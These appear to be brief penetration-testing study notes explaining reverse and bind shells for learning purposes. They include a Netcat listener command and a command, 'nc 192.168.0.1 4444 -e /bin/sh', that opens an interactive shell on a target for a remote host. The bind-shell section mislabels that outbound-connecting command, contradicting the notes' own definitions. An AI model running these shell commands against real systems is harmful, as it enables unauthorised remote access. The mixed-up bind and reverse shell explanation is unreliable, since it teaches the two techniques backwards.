Introduction

A shell is a method of gaining access to a machine. When you manage to get a shell on a machine, it's known as popping a shell.

Reverse Shell

When a target machine reaches out to us for a connection while at the same time our own systems are listening via Netcat for that connection on a specified port.

Reverse shells are going to be common use, with bind shells more often used with external assesment.

A reverse shell opens a port on our system, as opposed to a bind shell which opens a port on the target system.

<aside> 💡 nc -lvp $port-number will listen verbose port to the port number we specify.

</aside>

Bind Shell

We open a port on the machine via an exploit, the target machine then listens on that port for a connection, and then we connect with NetCat from our machines and are presented with a shell from our exploit on the target. For example nc 192.168.0.1 4444 -e /bin/sh from the target will connect to us on port 4444 and offer a shell on the target system for us to interact with.